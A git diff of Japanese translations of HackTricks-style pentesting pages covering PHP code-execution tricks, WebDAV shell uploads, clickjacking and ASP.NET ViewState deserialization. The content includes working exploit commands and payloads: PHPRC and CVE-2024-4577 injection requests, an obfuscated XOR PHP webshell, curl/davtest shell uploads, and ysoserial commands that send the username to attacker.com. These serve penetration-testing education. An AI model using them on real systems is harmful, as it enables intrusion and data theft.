-これにより、例えばCSPヘッダーが次のようなコードで設定されるのをバイパスすることが可能になります: +これにより、例えばCSPヘッダーがコード内で設定されるのをバイパスすることが可能になります。 ```php ) @@ -200,10 +200,10 @@ php-ssrf.md ## コード実行 **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** -[こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable_functions-open_basedir-bypass/index.html) +[こちらをチェックして、より便利なPHP関数を見つけてください](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **preg_replace()**による**RCE** ```php @@ -228,16 +228,16 @@ preg_replace("/a/e","phpinfo()","whatever") ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算**を使用することができます。例えば、"**and"**や**"%26%26"**、または"|"です。"or"や"||"は機能しないことに注意してください。最初の条件が真であれば、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。 +コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算子**を使用できます。例えば、"**and"や"%26%26"、"|"**などです。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。 -**別のオプション**は、文字列にコマンドの実行を追加することです:`'.highlight_file('.passwd').'` +**別のオプション**は、文字列にコマンドの実行を追加することです: `'.highlight_file('.passwd').'` -**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです:`$file = "hola"` +**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです: `$file = "hola"` -### **usort()を介したRCE** +### **usort()を使用したRCE** この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\ -この関数を悪用するには: +この関数を悪用するには: ```php VALUE: );phpinfo();# @@ -265,24 +265,24 @@ usort();}phpinfo;#, "cmp"); - `?order=id);}//`: **警告**が表示されます。それは正しいようです。 - `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じ括弧が多すぎます。 -### **.httaccessを介したRCE** +### **.httaccess経由のRCE** -**.htaccess**を**アップロード**できる場合、いくつかのことを**構成**し、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように構成すること)。 +**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**されるように設定すること)。 異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 -### 環境変数を介したRCE +### 環境変数経由のRCE -PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すればこれを回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 +PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。 -- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。 +- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 1. シェルコードを含むPHPファイルをアップロードします。 -2. 1ステップでアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 -3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。 -- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得してください。 +2. 1ステップでアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 +3. 2ステップでアップロードしたファイルに`PHPRC`変数を設定します。 +- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。 - **PHPRC** - 別のオプション -- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**本体**です: +- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -294,7 +294,7 @@ WebサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -さらに、PHPの後の正規化により、0xAD文字を使用して"-"パラメータを注入することが可能です。[**この投稿**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)からのエクスプロイトの例を確認してください。 +さらに、PHPの後の正規化により、0xAD文字を使用して"-"パラメータを注入することが可能です。[**この投稿**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)のエクスプロイト例を確認してください。 ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -311,7 +311,7 @@ phpinfo(); ``` ## PHP サニタイズバイパス & Brain Fuck -[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可される brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\ +[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可された brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\ さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています: ```php (1)->{system($_GET[chr(97)])} @@ -328,7 +328,7 @@ PHPアプリケーションをデバッグしている場合は、`/etc/php5/apa ### PHPコードのデオブフスケーション -**www.unphp.net**を使用してPHPコードをデオブフスケートできます。 +**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードをデオブフスケートできます。** ## PHPラッパーとプロトコル @@ -352,7 +352,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"]) -ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには、以下のページを確認してください: +ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -375,14 +375,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR easy shell code -[**この解説** ](https://mgp25.com/ctf/Web-challenge/)によると、次の方法で簡単なシェルコードを生成することが可能です: +[**この解説** ](https://mgp25.com/ctf/Web-challenge/)によると、次のようにして簡単なシェルコードを生成することが可能です: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -だから、**数字と文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます: +だから、**数字や文字なしで任意のPHPを実行できる**場合、次のようなリクエストを送信して、そのペイロードを悪用して任意のPHPを実行できます: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index a7081093a..986b697a6 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -8,13 +8,13 @@ WebDavサーバーへのアクセスには通常、**有効な認証情報**が ファイルアップロードに対する制限、特にサーバーサイドスクリプトの実行を防ぐ制限を克服するために、次のことができます: -- 制限がない場合、**実行可能な拡張子**を持つファイルを**直接アップロード**する。 +- 制限がない場合、**実行可能な拡張子**を持つファイルを直接**アップロード**する。 - アップロードした非実行可能ファイル(.txtなど)の名前を実行可能な拡張子に**変更**する。 - アップロードした非実行可能ファイルを**コピー**し、その拡張子を実行可能なものに変更する。 ## DavTest -**Davtest**は、**異なる拡張子を持つ複数のファイルをアップロードし**、その拡張子が**実行されるかどうかを確認**します: +**Davtest**は**異なる拡張子を持ついくつかのファイルをアップロードし**、その拡張子が**実行されるかどうかを確認**します: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension @@ -37,20 +37,20 @@ curl -T 'shell.txt' 'http://$ip' ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -## IIS5/6 WebDav 脆弱性 +## IIS5/6 WebDavの脆弱性 -この脆弱性は非常に興味深いです。**WebDav**は**.asp**拡張子のファイルを**アップロード**または**名前変更**することを**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで**バイパス**できます。そうすると、そのファイルはあたかも .asp ファイルのように**実行**されます(**".txt"の代わりに".html"を使用することもできますが、**";"を忘れないでください**)。 +この脆弱性は非常に興味深いです。**WebDav**は**.asp**拡張子のファイルを**アップロード**または**名前変更**することを**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで**バイパス**することができ、そのファイルはあたかも .asp ファイルのように**実行**されます(**".txt"の代わりに".html"を使用することもできますが、**「;」を忘れないでください**)。 -その後、あなたはシェルを**".txt"ファイル**として**アップロード**し、それを**".asp;.txt"**ファイルに**コピー/移動**できます。そのファイルにウェブサーバーを通じてアクセスすると、それは**実行**されます(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しました)。 +その後、あなたはシェルを**".txt"ファイル**として**アップロード**し、それを**".asp;.txt"**ファイルに**コピー/移動**することができます。そのファイルにウェブサーバーを通じてアクセスすると、それは**実行**されます(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しました)。 ![](<../../images/image (1092).png>) -## ポスト認証情報 +## 資格情報の後処理 -WebdavがApacheサーバーを使用している場合、Apacheで構成されたサイトを確認する必要があります。一般的には:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +WebdavがApacheサーバーを使用している場合、Apacheで構成されたサイトを確認する必要があります。一般的に:\ +\_**/etc/apache2/sites-enabled/000-default**_ -その中には次のようなものが見つかるかもしれません: +その中に次のようなものが見つかるかもしれません: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -61,7 +61,7 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -ご覧のとおり、**webdav** サーバーの有効な **credentials** を含むファイルがあります: +ご覧のとおり、**webdav** サーバーの有効な **credentials** が含まれているファイルがあります: ``` /etc/apache2/users.password ``` @@ -71,7 +71,7 @@ Require valid-user ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` -新しい資格情報が機能しているか確認するには、次のことを行うことができます: +新しい資格情報が機能しているか確認するには、次のことを行うことができます: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index b97be19a5..53a6c01e8 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,7 +4,7 @@ ## What is Clickjacking -クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙され**ます。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。 +クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙されます**。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。 ### Prepopulate forms trick @@ -12,7 +12,7 @@ ### Populate form with Drag\&Drop -ユーザーに**フォームを埋めてもらいたい**が、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない場合、**Drag\&Drop**してもらうように頼むだけで、あなたの制御したデータを書き込むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。 +ユーザーに**フォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない**場合は、**Drag\&Drop**して、あなたの制御されたデータを書き込む何かを渡すように頼むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行います。 ### Basic Payload ```markup @@ -58,7 +58,7 @@ left:210px;
Click me next
``` -### ドラッグ&ドロップ + クリックペイロード +### Drag\&Drop + Click ペイロード ```markup @@ -89,9 +89,9 @@ background: #F00; ``` ### XSS + Clickjacking -もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、ページが**クリックジャッキングに脆弱**であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。\ +もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、そのページが**クリックジャッキングに脆弱**であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。\ 例:\ -&#xNAN;_Yあなたはアカウントの**プライベートな詳細**に**自己XSS**を見つけました(**あなたのみが設定および読み取ることができる**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。_\ +_あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたしか設定および読み取ることができない**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。_\ \_\_攻撃者は、そのページに対して**クリックジャッキング**攻撃を準備し、**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させることができます。したがって、**フォームが送信されると**、値が変更され、**ユーザーはXSSを実行します**。 ## Clickjackingを軽減するための戦略 @@ -105,30 +105,30 @@ background: #F00; - 見えないフレームへのクリックを防ぐ。 - 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。 -ただし、これらのフレームバスティングスクリプトは回避される可能性があります: +しかし、これらのフレームバスティングスクリプトは回避される可能性があります: - **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。 -- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することでフレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。 +- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。 ```html ``` -`allow-forms` と `allow-scripts` の値は、トップレベルのナビゲーションを無効にしながら、iframe内でのアクションを有効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて `allow-same-origin` や `allow-modals` などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、どの権限を許可するかの指針となります。 +`allow-forms` と `allow-scripts` の値は、トップレベルのナビゲーションを無効にしながら、iframe内でのアクションを有効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて `allow-same-origin` や `allow-modals` などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、許可すべき権限を示すことができます。 ### サーバーサイドの防御 #### X-Frame-Options -**`X-Frame-Options` HTTPレスポンスヘッダー**は、ブラウザに対してページを `` または ` さらなる詳細や複雑な例については、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)や[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)を参照してください。 -### `child-src` と `frame-src` を使用したコンテンツセキュリティポリシー (CSP) +### `child-src` と `frame-src` を使用したContent Security Policy (CSP) -**コンテンツセキュリティポリシー (CSP)**は、ブラウザがコンテンツを読み込むことを許可すべきソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。 +**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可すべきソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。 #### `frame-src` ディレクティブ @@ -153,7 +153,7 @@ sandbox="allow-forms allow-scripts"> ``` Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` -このポリシーは、同じオリジン(自己)および https://trusted-website.com からのフレームを許可します。 +このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームを許可します。 #### `child-src` ディレクティブ @@ -166,7 +166,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com; **使用上の注意:** -- 非推奨: child-src は frame-src と worker-src に置き換えられています。 +- 非推奨: child-src は frame-src と worker-src に置き換えられつつあります。 - フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。 - 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。 diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 15ee93606..b208e9046 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} + + ## ViewStateとは **ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。 @@ -9,7 +11,7 @@ ViewState情報は、以下の特性またはその組み合わせによって特徴付けられます: - **Base64**: -- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されます。 +- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用される形式です。 - **Base64 + MAC (メッセージ認証コード) 有効**: - MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。 - **Base64 + 暗号化**: @@ -19,10 +21,10 @@ ViewState情報は、以下の特性またはその組み合わせによって 画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです: -1. **任意の.NETバージョン**の場合、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。 -2. **4.5未満のバージョン**の場合、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。 -3. **4.5未満のバージョン**の場合、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。 -4. **4.5以上のバージョン**の場合、MACと暗号化のすべての組み合わせ(両方がtrue、または一方がtrueで他方がfalseの場合)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。 +1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。 +2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。 +3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。 +4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrueであるか、一方がtrueで他方がfalseであるか)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。 ### テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false @@ -32,23 +34,23 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere} ``` **ViewState属性の特定** -BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。パラメータを保護するためにMacが使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。 +BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。Macがパラメータを保護するために使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。 ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` -### テストケース 1.5 – テストケース 1 と同様ですが、ViewState クッキーはサーバーによって送信されません +### Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません -開発者は **ViewState** を HTTP リクエストの一部として送信しないようにすることができます(ユーザーはこのクッキーを受け取りません)。\ -**ViewState** が **存在しない** 場合、その実装は **ViewState デシリアライズ** に起因する潜在的な脆弱性から **安全** であると考えるかもしれません。\ -しかし、それは事実ではありません。リクエストボディに **ViewState パラメータ** を追加し、ysoserial を使用して作成したシリアライズされたペイロードを送信すれば、**ケース 1** に示されているように **コード実行** を達成することができます。 +開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\ +**ViewState**が**存在しない**場合、その実装は**ViewStateデシリアライズに起因する潜在的な脆弱性から安全である**と仮定するかもしれません。\ +しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**で示されているように**コード実行**を達成することができます。 -### テストケース: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false +### Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false -特定のページに対して **ViewState MAC** を **有効** にするためには、特定の aspx ファイルに以下の変更を加える必要があります: +特定のページに対して**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することで実行できます。 +全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することで実行できます: ```xml @@ -68,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。 +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstate 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。 viewstate と generator を直接提供することができます: ``` @@ -79,7 +81,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX ``` ![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png) -または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます: +または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets @@ -88,7 +90,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` ![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) -脆弱なviewstateを大規模に検索するために、サブドメイン列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) モジュールを使用できます: +脆弱な viewstate を大規模に検索するために、サブドメイン列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) モジュールを使用できます: ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` @@ -100,23 +102,23 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv --generator = {__VIWESTATEGENERATOR parameter value} ``` -サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらのパラメータは必要です**: +サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**: ```bash --apppath="/" --path="/hello.aspx" ``` -### テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true +### テストケース: 3 – .Net < 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です**。 **この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...** -**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**チェックします**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。** +**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。** -したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。 +したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。 - ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。 -### テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合 +### テストケース: 4 – .Net >= 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合 以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。 ```xml @@ -138,14 +140,14 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw ``` IISDirPathとTargetPagePathの詳細な説明については[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) -または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して: +または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(生成者値付き)を使用して: ```bash cd badsecrets python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 ``` ![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png) -有効なMachine keyが特定されると、**次のステップは** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **を使用してシリアライズされたペイロードを生成することです。** +有効なMachine keyが特定されたら、**次のステップは** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 